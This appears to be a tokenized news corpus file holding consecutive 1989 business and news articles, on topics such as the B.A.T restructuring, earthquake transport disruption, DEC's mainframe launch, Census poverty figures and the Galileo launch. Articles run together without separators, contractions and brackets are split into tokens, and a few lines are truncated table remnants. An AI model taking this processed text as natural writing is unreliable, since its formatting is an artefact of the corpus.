+Proceeds will help pay for a planned buy-back of 10 % of its shares and a 50 % dividend increase . +`` I think the restructuring will get the required support , '' said Michael Pacitti , an analyst at London stockbroker UBS Phillips & Drew . +`` The shareholders effectively will support the share price by clearing the share buy-back . '' +But B.A.T 's restructuring , which was never going to happen quickly , now will take longer because of the market upheaval . +Company officials , holders and analysts who previously expected the disposals to be substantially complete by the end of next year 's first half now say the market gyrations could delay the actions well into the second half . +`` We are n't forced sellers . +We do n't have an absolute deadline and if market conditions are truly awful we might decide it is not the right time , '' to take particular steps , said Michael Prideaux , a B.A.T spokesman . +Even if B.A.T receives approval for the restructuring , the company will remain in play , say shareholders and analysts , though the situation may unfold over the next 12 months , rather than six . +The new B.A.T will be a smaller tobacco and financial-services hybrid whose price-earnings ratio may more closely reflect the lower-growth tobacco business than the higher-multiple financial-services business , these holders believe . +Thus B.A.T 's restructuring may only make the company a more manageable target for other corporate predators -- possibly such acquisitive bidders as Hanson PLC . +`` The last few days will surely slow down the pace of events , '' says Scottish Amicable 's Mr. Gilchrist . +`` But I would n't write off '' Sir James or other potential bidders . +Among possible delays , the sales of Saks and Marshall Field -- which were expected to be on the block soon after the crucial Christmas season -- may slide into the second quarter or second half . +Analysts estimate that sales of the two businesses could raise roughly $ 2 billion . +B.A.T is n't predicting a postponement because the units `` are quality businesses and we are encouraged by the breadth of inquiries , '' said Mr. Prideaux . +But the delay could happen if B.A.T does n't get adequate bids , he said . +People familiar with B.A.T say possible acquirers for the units include managers from both retailing chains , and General Cinema Corp. , which is interested in bidding for Saks . +Other potential bidders for parts of B.A.T 's U.S. retail unit include Dillard Department Stores Inc. , May Department Stores Co. and Limited Inc . +B.A.T has declined to identify the potential bidders . +Though Sir James has said he intends to mount a new bid for B.A.T once approval from U.S. insurance regulators is received , jitters over prospects for junk-bond financing and U.S. leverage buy-outs are making investors more skeptical about Sir James 's prospects . +His initial offer indicated he needed to raise as much as 80 % of the takeover financing through the debt markets . +Market uncertainty also clouds the outlook for B.A.T 's attracting a premium price for its U.S. retailing properties . +Finally , Tuesday 's California earthquake initially knocked 3.7 % off B.A.T 's share price in London yesterday because of fears of the potential claims to Los Angeles-based Farmers , which has a substantial portion of its property and casualty exposure in California . +On Farmers , Mr. Prideaux said it is too early to quantify the level of potential claims . +He added B.A.T `` has no expectation of a material impact on Farmers . +Bridge and highway collapses will disrupt truck and auto transportation in the San Francisco Bay area for months to come . +But rail , air and ocean-shipping links to the area escaped Tuesday 's earthquake with only minor damage , and many are expected to be operating normally today , government and corporate transport officials said . +Air traffic at San Francisco International Airport was running about 50 % of normal yesterday afternoon , but airport officals said they expect a return to full operations by Saturday . +The major gateway to Asia and one of the nation 's 10 busiest airports was closed to all but emergency traffic from the time the quake hit Tuesday afternoon , until 6 a.m. PDT yesterday when controllers returned to the tower . +Getting to and from the airport in coming weeks may be the problem , however . +`` People 's ability to drive throughout the bay area is greatly restricted , '' said a spokesman for the American Automobile Association . +Tom Schumacher , executive vice president and general manager of the California Trucking Association in Sacremento , said his organization urged trucking firms to halt all deliveries into the Bay area yesterday , except for emergency-medical supplies . +`` Some foodstuff shipments will probably resume Thursday , '' he said . +`` Right now most of the roads into the Bay area are closed , but the list of closings changes about every 20 minutes . +This -LCB- Wednesday -RCB- morning the San Mateo bridge was open and now we are informed that it is closed , '' Mr. Schumacher said . +United Parcel Service , Greenwich , Conn. , said its operations in the San Francisco area have been reduced to 40 % of normal . +A UPS spokesman said that although none of the company 's terminals , trucks or airplanes were damaged in the quake , road shutdowns and power failures have impeded its pickup and delivery of packages . +The spokesman noted four-hour to five-hour traffic delays on the San Mateo bridge , for example . +In addition , power failures prevented its package-sorting facilities from operating , causing delays . +But freight railroads reported that damage to their facilities was relatively minor , with Santa Fe Pacific Corp. 's rail unit the least affected by the quake . +Santa Fe stopped freight trains Tuesday night while its officials inspected track but resumed service at 10:45 p.m. when they found no damage . +Union Pacific Corp. 's rail unit said that except for damage to shipping containers in its Oakland yard , its track , bridges and structures were unharmed . +That railroad is operating trains but with delays caused by employees unable to get to work . +Southern Pacific Transportation Co. , the hardest hit of the three railroads in the Bay area , said service on its north-south coastline , which is used by an Amtrak train between Los Angeles and Seattle , was suspended temporarily because of kinked rails near the epicenter of the quake . +But service on the line is expected to resume by noon today . +`` We had no serious damage on the railroad , '' said a Southern Pacific spokesman . +`` We have no problem to our freight service at all expect for the fact businesses are shut down . '' +Amtrak said it suspended train service into its Oakland station , which sustained `` heavy structural damage '' during the quake . +The passenger railroad said it terminated some runs in Sacramento , relying on buses to ferry passengers to the Bay area . +Amtrak said it planned to resume some train operations to Oakland late yesterday . +Rail-transit operations suffered little damage , according to Albert Engelken , deputy executive director of the American Public Transit Association in Washington . +The Bay Area Rapid Transit `` withstood the earthquake perfectly , '' said Mr. Engelken , adding that the rail system was running a full fleet of 45 trains during the day to provide an alternative for highway travelers . +`` The highway system is screwed up '' by the earthquake , Mr. Engelken said . +`` The transit system is how people are going to be getting around . '' +He added that San Francisco 's trolley cars and trolley buses were also running at full service levels . +Although air-traffic delays in San Francisco were significant yesterday , they did n't appear to spread to other airports . +The earthquake shattered windows at San Francisco International 's air-traffic control tower and rained pieces of the ceiling down on controllers , three of whom suffered minor injuries . +Terminals at San Francisco International also were damaged , but the tower itself was intact . +Tuesday night , thousands were diverted to other airports and had to wait a day to resume travel . +Runways at San Francisco were n't damaged , but traffic was being limited yesterday to 27 arrivals and 27 departures an hour -- down from 33 to 45 an hour normally -- mainly because the noise level in the control tower was overwhelming without the windows , an FAA spokeswoman said . +While the airport was closed , flights were diverted to airports in Sacramento and Stockton , Calif. ; Reno and Las Vegas , Nev. ; and Los Angeles . +United Airlines , the largest carrier at San Francisco , was operating only 50 % of its scheduled service in and out of the area because of damage to its terminal , which in turn was causing delays for travelers headed to the Bay area . +A United spokesman said 14 of its 21 gates were unusable , mainly because of water damage caused when a sprinkler system was triggered by the tremors . +The United spokesman said none of its people were injured at the airport ; in fact , as the airport was being evacuated Tuesday night , two babies were born . +Yesterday , the United ticket counter was active , with people trying to get flights out , but the airline said demand for seats into the city also was active , with people trying to get there to help family and friends . +The airports in San Jose and Oakland were both fully operational by noon yesterday , the Federal Aviation Administration said . +In terms of diversions , Denver 's Stapleton International may have experienced the most far-flung : A United flight from Japan was rerouted there . +`` I think that 's the first nonstop commercial passenger flight from Japan to land here , '' an airport spokesman said . +A Japan Air Lines spokesman said its flights into and out of San Francisco were n't affected , but getting information about its operations was difficult . +Its telecommunications headquarters in Burlingame , Calif. , had been knocked out since the quake . +`` We 're in the dark , '' he said . +Whitbread & Co. put its spirits division up for sale , triggering a scramble among global groups for the British company 's brands . +Whitbread already has been approached by `` about half a dozen '' companies interested in buying all or part of the spirits business , a spokesman said . +Analysts expect the spirits operations and some California vineyards that also are being sold to fetch about # 500 million -LRB- $ 788.8 million -RRB- . +Among the brands for sale are Beefeater gin , the No. 2 imported gin in the U.S. , and Laphroaig single-malt whiskey . +Also for sale are Buckingham Wile Co. , which distributes Cutty Sark blended whiskey in the U.S. , and Whitbread 's Atlas Peak Vineyards in California 's Napa Valley . +Beefeater alone is worth as much as # 300 million , analysts said . +Whitbread bought the Beefeater distillery two years ago for # 174.5 million . +That purchase represented an attempt by Whitbread , a venerable British brewer , to become a major player in the global liquor business . +But Whitbread has been squeezed by giant rivals amid widespread consolidation in the industry . +Now , it wants to concentrate on beer and its newer hotel and restaurant operations . +For rival liquor companies , the Whitbread auction is a rare opportunity to acquire valuable brands . +`` It 's not very often something like this comes up , '' said Ron Littleboy , a liquor company analyst at Nomura Research Institute in London . +`` The division will be sold off quite rapidly , '' predicted Neill Junor , an analyst at London brokers County NatWest WoodMac . +Among possible buyers , Grand Metropolitan PLC might find Beefeater a useful addition to its portfolio . +Grand Met owns Bombay gin , the No. 3 imported gin in the U.S. ; rival Guinness PLC has the No. 1 imported brand , Tanqueray . +The Whitbread spirits auction `` is an extremely interesting development ... and naturally we 'll be considering it carefully , '' a Grand Met spokesman said . +Guinness , which owns several leading whiskey brands plus Gordon 's gin , the world 's No. 1 gin , is considered less likely to bid for the Whitbread spirits . +A Guinness spokesman declined to comment . +Two other global liquor giants , Canada 's Seagram Co. and Britain 's Allied-Lyons PLC , also are possible buyers . +Seagram 's gin is the world 's No. 2 gin brand , but the company does n't own any of the major gin brands imported in the U.S. . +Allied-Lyons , while powerful in whiskey , does n't own any major white-spirit brands . +`` We will certainly have to take a look at '' the Whitbread spirits business , an Allied-Lyons spokesman said . +`` We would certainly like to have a major white-spirits brand in our portfolio . '' +A Seagram spokesman in New York would n't comment . +Smaller liquor companies , such as Brown-Forman Corp. and American Brands Inc. of the U.S. , also are likely to be interested . +Such companies `` are increasingly being left behind '' in the global liquor business , says Nomura 's Mr. Littleboy . +In New York , a spokesman for American Brands would n't comment . +Brown-Forman , a Louisville , Ky. distiller , also declined to comment . +Whitbread 's wine , spirits and soft-drink operations had trading profit of # 35.4 million on sales of # 315.5 million in the year ended Feb. 25 . +The company , which is retaining most of its wine and all of its soft-drink interests , did n't break out results for the businesses it plans to sell . +But analysts estimate their trading profit at # 30 million . +Whitbread had total pretax profit in the year ended Feb. 25 of # 223.2 million , on sales of # 2.26 billion . +Whitbread 's spirits auction occurs amid a parallel shakeup in the British beer industry . +Earlier this year , the government announced plans to foster increased competition in the industry . +British brewers currently own thousands of pubs , which in turn sell only the breweries ' beer and soft drinks . +Under new rules , many of the country 's pubs would become `` free houses , '' selling beers of their choice . +Whitbread now intends to bolster its brewing interests , in an effort to grab a share of sales to free houses . +The company , which last month paid # 50.7 million for regional British brewer Boddington Group PLC , has about 13 % of the British beer market . +Whitbread also owns the license to brew and distribute Heineken and Stella Artois beers in Britain . +In addition , Whitbread intends to focus on its newer hotel , liquor store and restaurant businesses in Europe and North America . +In Britain , those interests include the Beefeater steakhouse chain and joint ownership with PepsiCo Inc. of the country 's Pizza Hut chain . +In Canada and the U.S. , Whitbread owns The Keg chain of steak and seafood restaurants . +Focusing on beer , restaurants and hotels means `` we can concentrate our skills and resources more effectively , '' Peter Jarvis , Whitbread 's managing director , said in a statement . +The spirits business `` would require substantial additional investment to enable it to compete effectively in the first division of global players . '' +Whitbread also announced that Mr. Jarvis , who is 48 , will become the company 's chief executive March 1 . +At that time Sam Whitbread , the company 's chairman and a descendant of its 18th-century founder , will retire from executive duties . +He will retain the honorary title of non-executive chairman . +The Treasury plans to raise $ 700 million in new cash with the sale Tuesday of about $ 10 billion in two-year notes to redeem $ 9.29 billion in maturing notes . +The offering will be dated Oct. 31 and mature Oct. 31 , +Tenders for the notes , available in minimum $ 5,000 denominations , must be received by 1 p.m. EDT Tuesday at the Treasury or at Federal Reserve banks or branches . +NEWHALL LAND & FARMING Co. , Valencia , Calif. , announced a 2-for-1 split in the real estate limited partnership 's units and increased its regular quarterly cash distribution 33 % , to 40 cents a unit . +The real estate limited partnership also said it will pay a special year-end cash distribution of 10 cents a unit . +Both distributions are payable Dec. 4 to limited partners of record Nov. 3 . +Mellon Bank Corp. said directors authorized the buy-back of as many as 250,000 common shares . +The bank holding company said stock repurchased will be used to meet requirements for the company 's benefit plans . +Mellon has 36.6 million shares outstanding . +Champion International Corp. 's third-quarter profit dropped 17 % , reflecting price declines for certain paper products , operating problems at certain mills , and other factors . +The paper producer reported that net income fell to $ 102.1 million , or $ 1.09 a share , from $ 122.4 million , or $ 1.29 a share , in the year-earlier period . +Sales rose 2.6 % to $ 1.32 billion from $ 1.29 billion . +In New York Stock Exchange composite trading , Champion 's shares rose 25 cents to $ 32.125 . +Digital Equipment Corp. is planning a big coming-out party on Tuesday for its first line of mainframe computers . +But an uninvited guest is expected to try to crash the party . +On the morning of the long-planned announcement , International Business Machines Corp. is to introduce its own new mainframe . +`` Their attitude is , ` You want to talk mainframes , we 'll talk mainframes , ' '' says one computer industry executive . +`` They 're deliberately trying to steal our thunder , '' a Digital executive complains . +`` Maybe we should take it as a compliment . '' +Digital 's target is the $ 40 billion market for mainframe computers , the closet-sized number-crunchers that nearly every big company needs to run its business . +IBM , based in Armonk , N.Y. , has dominated the market for decades . +That does n't scare Digital , which has grown to be the world 's second-largest computer maker by poaching customers of IBM 's mid-range machines . +Digital , based in Maynard , Mass. , hopes to stage a repeat performance in mainframes , and it has spent almost $ 1 billion developing the new technology . +A spoiler , nimble Tandem Computers Inc. in Cupertino , Calif. , jumped into the fray earlier this week with an aggressively priced entry . +IBM appears more worried about Digital , which has a broad base of customers waiting for the new line , dubbed the VAX 9000 . +`` It 's going to be nuclear war , '' says Thomas Willmott , a consultant with Aberdeen Group Inc . +The surge in competition is expected to stir new life into the huge mainframe market , where growth has slowed to single digits in recent years . +IBM 's traditional mainframe rivals , including Unisys Corp. , Control Data Corp. and NCR Corp. , have struggled recently . +Digital is promising a new approach . +Robert M. Glorioso , Digital 's vice president for high performance systems , says Digital 's mainframe is designed not as a central computer around which everything revolves , but as part of a decentralized network weaving together hundreds of workstations , personal computers , printers and other devices . +And unlike IBM 's water-cooled mainframes , it does n't need any plumbing . +The challengers will have a big price advantage . +Digital is expected to tag its new line from about $ 1.24 million to $ 4.4 million and up , depending on configuration . +That 's about half the price of comparably equipped IBM mainframes . +Tandem 's pricing is just as aggressive . +The heightened competition will hit IBM at a difficult time . +The computer giant 's current mainframe line , which has sold well and has huge profit margins , is starting to show its age . +The new 3090s due next week will boost performance by only about 8 % to 10 % . +And IBM is n't expected to deliver a new generation of mainframes until 1991 . +Still , no one expects IBM 's rivals to deliver a knockout . +IBM has a near-monopoly on mainframes , with an estimated 70 % share of the market . +IBM is five times the size of Digital -- and 40 times the size of Tandem -- and wields enormous market power . +It counts among its customers a majority of the world 's largest corporations , which entrust their most critical business information to IBM computers . +`` We 're not going to walk in and replace a company 's corporate accounting system if it 's already running on an IBM mainframe , '' concedes Kenneth H. Olsen , Digital 's president . +He says Digital will target faster-growing market segments such as on-line transaction processing , which includes retail-sales tracking , airline reservations and bank-teller networks . +Tandem , which already specializes in on-line transaction processing , is a potent competitor in that market . +A key marketing target for Digital will be the large number of big customers who already own both Digital and IBM systems . +One such company is Bankers Trust Co . +Stanley Rose , a vice president , technological and strategic planning at Bankers Trust , says that despite Digital 's low prices , `` we are n't about to unplug our IBM mainframes for a DEC machine . +The software conversion costs would dwarf any savings . '' +But Mr. Rose is still looking seriously at the 9000 . +Bankers Trust uses Digital 's VAX to run its huge money-transfer and capital markets accounts , juggling hundreds of billions of dollars each day , he says . +As that system grows , larger computers may be needed . +`` In the past , customers had to go to IBM when they outgrew the VAX . +Now they do n't have to , '' he says . +`` That 's going to cost IBM revenue . '' +Analysts say Digital can expect this pent-up demand for the new VAX to fuel strong sales next year . +Barry F. Willman , an analyst at Sanford C. Bernstein & Co. , estimates the 9000 could boost sales by more than $ 1 billion in the fiscal year beginning in July . +He bases the estimate on a survey of hundreds of Digital 's largest customers . +Although Digital will announce a full family of mainframes next week , it is n't expected to begin shipping in volume until next year . +The first model available will be the 210 , which is likely to appeal to many technical and scientific buyers interested in the optional super-charger , or vector processor , says Terry Shannon of International Data Corp. , a market research concern . +Four more models , aimed squarely at IBM 's commercial customers , are expected to begin shipping in late June . +Most analysts do n't expect the new mainframes to begin contributing significantly to revenue before the fiscal first quarter , which begins next July 1 . +Digital 's new line has been a long time coming . +The company has long struggled to deliver a strong mainframe-class product , and made a costly decision in 1988 to halt development of an interim product meant to stem the revenue losses at the high end . +Digital 's failure to deliver a true mainframe-class machine before now may have cost the company as much as $ 1 billion in revenue in fiscal 1989 , Mr. Willman says . +IBM will face still more competition in coming months . +Amdahl Corp. , backed by Japan 's Fujitsu Ltd. , has a growing share of the market with its low-priced , IBM-compatible machines . +And National Advanced Systems , a joint venture of Japan 's Hitachi Ltd. and General Motors Corp. 's Electronic Data Systems , is expected to unveil a line of powerful IBM-compatible mainframes later this year . +NOTE : +NAS is National Advanced Systems , CDC -- Control Data Corp. , Bull NH Information Systems Inc . +Source : International Data Corp . +Compiled by Publishers Weekly from data from large-city bookstores , bookstore chains and local bestseller lists across the U.S. . +Copyright 1989 by Reed Publishing USA . +The frenetic stock and bond markets cooled off , but the dollar slumped . +Stocks rose slightly as trading activity slowed from the frenzied pace earlier this week . +Prices of long-term Treasury bonds hovered in a narrow band most of the day , finishing little changed despite the dollar 's weakness and fears about a wave of government borrowing coming soon . +Helped by futures-related program buying , the Dow Jones Industrial Average gained 4.92 points to close at 2643.65 . +But the Dow Jones Transportation Average fell for the seventh-consecutive session as more investors dumped UAL shares . +Bond prices rallied early yesterday morning as traders scrambled to buy Treasury issues on fears that the Northern California earthquake might lead to a stock-market debacle . +But when stocks held steady , Treasury bonds later retreated . +Speculation that the Federal Reserve will lower interest rates in coming weeks helped push the dollar down while boosting stocks , traders said . +But many investors remain wary about stocks , partly because they expect continued turbulence in the junk-bond market that would make it more difficult to finance corporate takeovers . +`` I 'm surprised we did n't see more volatility '' in stocks , said Raymond F. DeVoe Jr. , market strategist at Legg Mason Wood Walker . +`` I think the problems in the junk-bond area are just beginning , and this will be very unsettling for companies that have issued junk bonds . +In a bull market , credit does not matter , '' Mr. DeVoe added . +`` But when it does matter , then it 's the only thing that matters . '' +However , many institutional investors are reacting to the stock market 's plunge as `` a great buying opportunity , '' said Charles I. Clough , chief investment strategist at Merrill Lynch Capital Markets . +`` Things are beginning to settle down . +The markets are returning to normalcy . '' +Oil prices initially rose on fears that the massive earthquake in Northern California would disrupt production . +But prices later reversed course , finishing slightly lower , as investors concluded that any cuts would n't be large and that foreign oil producers would quickly pick up the slack . +In major market activity : +Stock prices rose . +New York Stock Exchange volume shrank to 166.9 million shares from 224.1 million Tuesday . +Advancers on the Big Board outpaced decliners by 822 to 668 . +Bond prices were little changed in sluggish activity . +The yield on the Treasury 's 30-year issue fell slightly to 8.03 % . +The dollar dropped . +In New York late yesterday , the currency was at 141.45 yen and 1.8485 marks , down from 142.75 yen and 1.8667 marks late Tuesday . +James L. Madson , 46 years old , was named a vice president and assistant general manager of this producer of copper and other minerals . +He will succeed Arthur E. Himebaugh as general manager Feb. 1 , when Mr. Himebaugh retires . +AMR Corp. posted an 8.8 % drop in third-quarter net income and said the fourth quarter will be `` disappointing '' as well , primarily because of slimmer profit margins and increased fuel costs . +AMR 's earnings decline comes a year after the parent company of American Airlines and the rest of the airline industry set profit records . +Some analysts say the latest results only seem pale by comparison with a spectacular second half of 1988 . +Still , AMR 's stumble does n't bode well for the rest of the industry . +The Fort Worth , Texas , company is generally regarded as one of the best-run in the business , and its difficulties are likely to be reflected industrywide as other major carriers report third-quarter results over the next several days . +Meanwhile , the company 's board , which had said nothing publicly about investor Donald Trump 's recently withdrawn $ 7.5 billion offer for AMR , issued a statement condemning `` ill-conceived and reckless '' bids and saying it was `` pleased '' that Mr. Trump had backed out . +In the third quarter , AMR said , net fell to $ 137 million , or $ 2.16 a share , from $ 150.3 million , or $ 2.50 a share . +Revenue rose 17 % to $ 2.73 billion from $ 2.33 billion a year earlier . +AMR 's chairman , Robert L. Crandall , said the results were due to an 11 % year-to-year increase in fuel prices and a slight decrease in yield , an industry measure analogous to profit margin on each seat sold . +`` We think these trends will continue and will produce a very disappointing fourth quarter as well , '' he said . +Tim Pettee , an analyst with Merrill Lynch & Co. , said : `` The business turned faster than expected . +Costs are giving them a little bit of trouble , and the whole industry is having a pricing problem . '' +For the nine months , AMR 's net rose 15 % to $ 415.9 million , or $ 6.59 a share , from $ 360.1 million , or $ 5.99 a share . +Revenue jumped 22 % to $ 7.89 billion from $ 6.46 billion . +AMR 's board , in a statement after a regular meeting yesterday , said : `` Ill-considered and reckless acquisition proposals adversely affect employee , financial and business relationships and are contrary to the best interests of AMR shareholders ... . +AMR has not been , and is not , for sale . '' +Mr. Crandall said the company 's current decline in earnings is exactly the kind of situation that an excessively leveraged company laden with debt from a takeover would find difficult to weather . +`` Our very disappointing third-quarter results and the discouraging outlook for the fourth quarter underscore the importance of an adequate capital base , '' he said . +Christopher Whittington , 51-year-old deputy chairman of this British investment-banking group and chairman of Morgan Grenfell & Co. , the group 's main banking unit , has retired from his executive duties . +Succeeding Mr. Whittington as deputy chairman of the group is Anthony Richmond-Watson , 43 , currently a main board member . +Succeeding Mr. Whittington at Morgan Grenfell & Co. is Richard Webb , 50 , currently deputy chairman . +Mr. Whittington will remain on the main group board as a nonexecutive director . +Without federal subsidies to developers of beach houses , the economic and structural damage by Hurricane Hugo in South Carolina would have been much less , as highlighted by your Oct. 3 editorial `` Subsidizing Disaster . '' +Congress should stop throwing tax dollars out to sea by subsidizing the development of beach communities on ecologically fragile coastal barrier islands , such as the hard-hit Isle of Palms near Charleston . +As you mentioned , subsidies for development on a number of barrier islands were curtailed in 1982 by the Coastal Barrier Resource System . +The National Taxpayers Union would like Congress to add 800,000 acres to the 453,000 of shoreline in the system by enacting `` The Coastal Barrier Improvement Act of 1989 . '' +This bill simply says that if you want to develop property on a barrier island you have to do so without taxpayer support . +Private-property rights would be upheld because the legislation would not ban coastal development . +However , home builders would have to bear the full costs of such beach-house construction . +A Taxpayers Union study concluded the bill would save taxpayers up to $ 9.3 billion in barrier-island subsidies over 20 years . +Already , the 1982 legislation has saved an estimated $ 800 million . +Marshall Y. Taylor +Communications Director +National Taxpayers Union +The government said 13.1 % of Americans , or 31.9 million people , were living in poverty in 1988 . +While last year 's figure was down from 13.4 % in 1987 and marked the fifth consecutive annual decline in the poverty rate , the Census Bureau said the 1988 drop was n't statistically significant . +The bureau 's report also showed that while some measures of the nation 's economic well-being improved modestly in 1988 , the fruits of prosperity were shared less equitably than the year before . +Summarizing data derived from a March 1989 survey of 58,000 households , William Butz , associate director of the Census Bureau , said that `` most groups either stayed the same or improved . '' +But , he added , `` Since the late 1960s , the distribution of income has been slowly getting less equal . +There was no reversal -LCB- of that trend -RCB- between 1987 and 1988 . '' +Per capita income , a widely used measure of a nation 's economic health , hit a record in 1988 , rising 1.7 % after inflation adjustment to $ 13,120 . +But the median income of American families fell 0.2 % , the first time it has failed to rise since 1982 . +Mr. Butz said the divergence in the two measures reflects changes in family size and structure , including the rising number of female-headed families and a sharp increase in income reported by Americans who are n't living in families . +As a result of last year 's decline , the government 's estimate for the number of people living below the poverty line declined by about 500,000 . +The poverty threshold , defined as three times food expenses as calculated by the Agricultural Department , last year was $ 12,092 for a family of four . +The Census Bureau counts all cash income in determining whether families are below the line , but it does n't consider other government benefits , such as Medicare . +Thanks largely to the continued growth of the U.S. economy , the poverty rate is now substantially lower than the 1983 peak of 15.3 % , but the improvements have been modest in the past couple of years . +Poverty remains far more widespread among blacks than other Americans . +In 1988 , 31.6 % of blacks lived in poverty , compared with 10.1 % for whites and 26.8 % for Hispanics . +But two-thirds of all poor Americans were white . +More than half of poor families were headed by women living without men , the bureau said . +More than three-fourths of poor black families were headed by women . +The poverty rate of children under 18 years old dropped last year to 19.7 % from 20.5 % in 1987 , but remained far higher than a decade ago . +The rate among the elderly -- 12 % in 1988 -- was n't significantly lower than the year before . +If it were n't for Social Security payments , more than three times as many elderly would be below the poverty line , Mr. Butz said . +The Census Bureau also said : +-- Some 17.2 % of all money income received by families in 1988 went to the wealthiest 5 % of all families , up from 16.9 % in 1987 . +That is the greatest share reported for any year since 1950 , although changing definitions over the years distort the comparison . +-- The top fifth of all families got 44 % of the income , up from 41.5 % a decade earlier . +The bottom fifth of all families got 4.6 % of the income , down from 5.2 % a decade earlier . +-- Confirming other government data showing that wages are n't keeping pace with inflation , earnings of year-round , full-time male workers fell 1.3 % in 1988 after adjusting for higher prices , the first such drop since 1982 . +Earnings of female workers were unchanged . +-- Women working full-time earned 66 cents for every dollar earned by men , a penny more than in 1987 and seven cents more than in 1978 . +-- Median household income -- which includes both those living in families and those who are n't -- rose 0.3 % last year to $ 27,225 after inflation . +It rose sharply in the Northeast and Midwest and fell slightly in the South and West . +Median family income was $ 32,191 , down 0.2 % . +-- Per capita income of blacks , though still only 60 % that of whites , rose 3.9 % in 1988 , while per capita income of whites rose only 1.5 % . +-- Among married couples , the gap between blacks and whites narrowed sharply , as income of black families shot up 6.8 % while income of whites did n't budge . +Fueling a controversy that has been simmering for years , the Census Bureau also said its figures would look far rosier if it recalculated the poverty threshold using an improved consumer-price measure adopted in 1983 . +The bureau said some 3.5 million fewer people would have fallen below the poverty line in 1988 -- and the poverty rate would have been 10.5 % instead of 13.1 % -- under the alternative calculation . +Critics on the left and right have been calling for all sorts of revisions to the measure for years . +A report by the staff of the Joint Economic Committee of Congress released yesterday concluded , `` It is misleading to make this change without adjusting for other changes . '' +The official poverty threshold is set by the Office of Management and Budget . +John E. Hayes Jr. was elected chairman , president and chief executive officer , succeeding David S. Black , who retired . +Mr. Hayes , 52 years old , left Southwestern Bell Telephone Co. in January , where he had been chairman , president and chief executive , to join Triad Capital Partners , a St. Louis company with interests in solid waste and recycling , telecommunications and international venture capital . +He has resigned his posts at Triad to take the Kansas Power positions . +Kansas Power said Mr. Black , 61 , chose early retirement . +The space shuttle Atlantis boosted the Galileo spacecraft on its way to Jupiter , giving a big lift as well to an ambitious U.S. program of space exploration . +Seven years late in the launching , $ 1 billion over budget and a target of anti-nuclear protestors , Galileo has long been a symbol of trouble for the National Aeronautics and Space Administration . +But yesterday , as Atlantis rumbled into a patch of clear sky above Florida with storm clouds closing in on it , NASA sought to turn Galileo into a symbol of triumph . +`` NASA did it right ; that 's the message , '' said J.R. Thompson , the agency 's deputy administrator . +The $ 1.4 billion robot spacecraft faces a six-year journey to explore Jupiter and its 16 known moons . +If all goes well , it will parachute a probe into the dense Jovian atmosphere in July 1995 to pick up detailed data about gases that may be similar to the material from which the solar system was formed 4.6 billion years ago . +Jupiter is so enormous -- its mass is 318 times that of Earth -- that its gravity may have trapped these primordial gases and never let them escape . +Investigating Jupiter in detail may provide clues to what astronomer Tobias Owen calls the `` cosmic paradox '' of life : Jupiter and other bodies in the outer solar system are rich in elements such as hydrogen that are essential for life on Earth , but these planets are lifeless ; Earth , on the other hand , has a diminished store of such material but is rich in life . +Some scientists have suggested that comets and asteroids may have brought enough of this kind of material from the outer solar system to Earth to spawn life . +Beginning in December 1995 , Galileo will begin a two-year tour of the Jovian moons . +In 1979 , two Voyager spacecraft sent back stunning photos of Jovian moons Io and Europa that showed them to be among the most intriguing bodies in the solar system . +The photos showed active geysers on Io spewing sulfurous material 190 miles into its atmosphere and indicated that Europa may have an ocean hidden under a thick sheet of ice . +Galileo 's photos of Europa will be more than 1,000 times as sharp as Voyager 's , according to Torrence Johnson , Galileo 's project scientist , and may show whether it actually has the only known ocean other than those on Earth . +Atlantis lifted Galileo from the launch pad at 12:54 p.m. EDT and released the craft from its cargo bay about six hours later . +`` Galileo is on its way to another world in the hands of the best flight controllers in this world , '' Atlantis Commander Donald Williams said . +`` Fly safely . '' +The five-member Atlantis crew will conduct several experiments , including growing plants and processing polymeric materials in space , before their scheduled landing at Edwards Air Force Base , Calif. , Monday . +The Galileo project started in 1977 , and a number of project veterans were on hand to watch the launch . +An ebullient Mr. Johnson , wearing a NASA baseball cap and carrying a camera and binoculars , called the launch `` fantastic . '' +Benny Chin , manager of the Galileo probe , compared it to watching a child leave home . +`` I 'm happy and sad , '' he said . +Anti-nuclear activists took a less positive view . +Having argued that Galileo 's plutonium power source could have released lethal doses of radiation if the shuttle exploded yesterday , they were n't quieted by yesterday 's successful launch . +Galileo will skim past Earth in 1990 and 1992 , collecting energy from the planet 's gravitational field to gain momentum for its trip to Jupiter . +The protesters point out that Galileo also could crash to Earth then . +They said they dropped plans to infiltrate the Kennedy Space Center after NASA beefed up its security . +One protest did get past NASA 's guard , though ; a computer virus caused anti-Galileo messages to flash onto some computer screens at NASA centers . +The successful launch continues a remarkable recovery in the U.S. space-science program . +An unmanned spacecraft , Magellan , already is heading to Venus and is due to begin mapping the planet next August . +Voyager 2 sent back spectacular photos of Neptune and its moon , Triton , this summer . +Next month , NASA plans to launch a satellite to study cosmic rays dating from the birth of the universe . +In December , the shuttle Columbia will try to retrieve a satellite that 's been in orbit for nearly five years measuring the deleterious effects of space on materials and instruments . +Next March , the shuttle Discovery will launch the Hubble space telescope , a $ 1.5 billion instrument designed to see the faintest galaxies in the universe . +Not all of NASA 's space-science work will be so auspicious , though . +Around Thanksgiving , the Solar Max satellite , which NASA repaired in orbit in 1984 , will tumble back into the Earth 's atmosphere . +NASA wo n't attempt a rescue ; instead , it will try to predict whether any of the rubble will smash to the ground and where . +The Associated Press 's earthquake coverage drew attention to a phenomenon that deserves some thought by public officials and other policy makers . +Private relief agencies , such as the Salvation Army and Red Cross , mobilized almost instantly to help people , while the Washington bureaucracy `` took hours getting into gear . '' +One news show we saw yesterday even displayed 25 federal officials meeting around a table . +We recall that the mayor of Charleston complained bitterly about the federal bureaucracy 's response to Hurricane Hugo . +The sense grows that modern public bureaucracies simply do n't perform their assigned functions well . +Bally Manufacturing Corp. and New York developer Donald Trump have agreed in principle to a $ 6.5 million settlement of shareholder litigation stemming from Bally 's alleged greenmail payment to Mr. Trump . +According to lawyers familiar with the settlement talks , the verbal agreement to end a lawsuit filed more than two years ago was reached last week and will soon be submitted to a federal judge in Camden , N.J . +In February 1987 , Bally thwarted a possible hostile takeover bid from Mr. Trump by agreeing to buy 2.6 million of Mr. Trump 's 3.1 million Bally shares for $ 83.7 million -- more than $ 18 million above market price . +The term greenmail refers to a situation where a company pays a premium over market value to repurchase a stake held by a potential acquirer . +Lawyers for shareholders , Bally and Mr. Trump all declined to talk publicly about the proposed settlement , citing a request by a federal court magistrate not to reveal details of the agreement until it is completed . +But some attorneys who are familiar with the matter said the $ 6.5 million payment will be shared by Bally and Mr. Trump , with the casino and hotel concern probably paying the bulk of the money . +The amount Bally and Mr. Trump will pay to settle the class-action suit pales in comparison to the $ 45 million Walt Disney Co. and Saul Steinberg 's Reliance Group 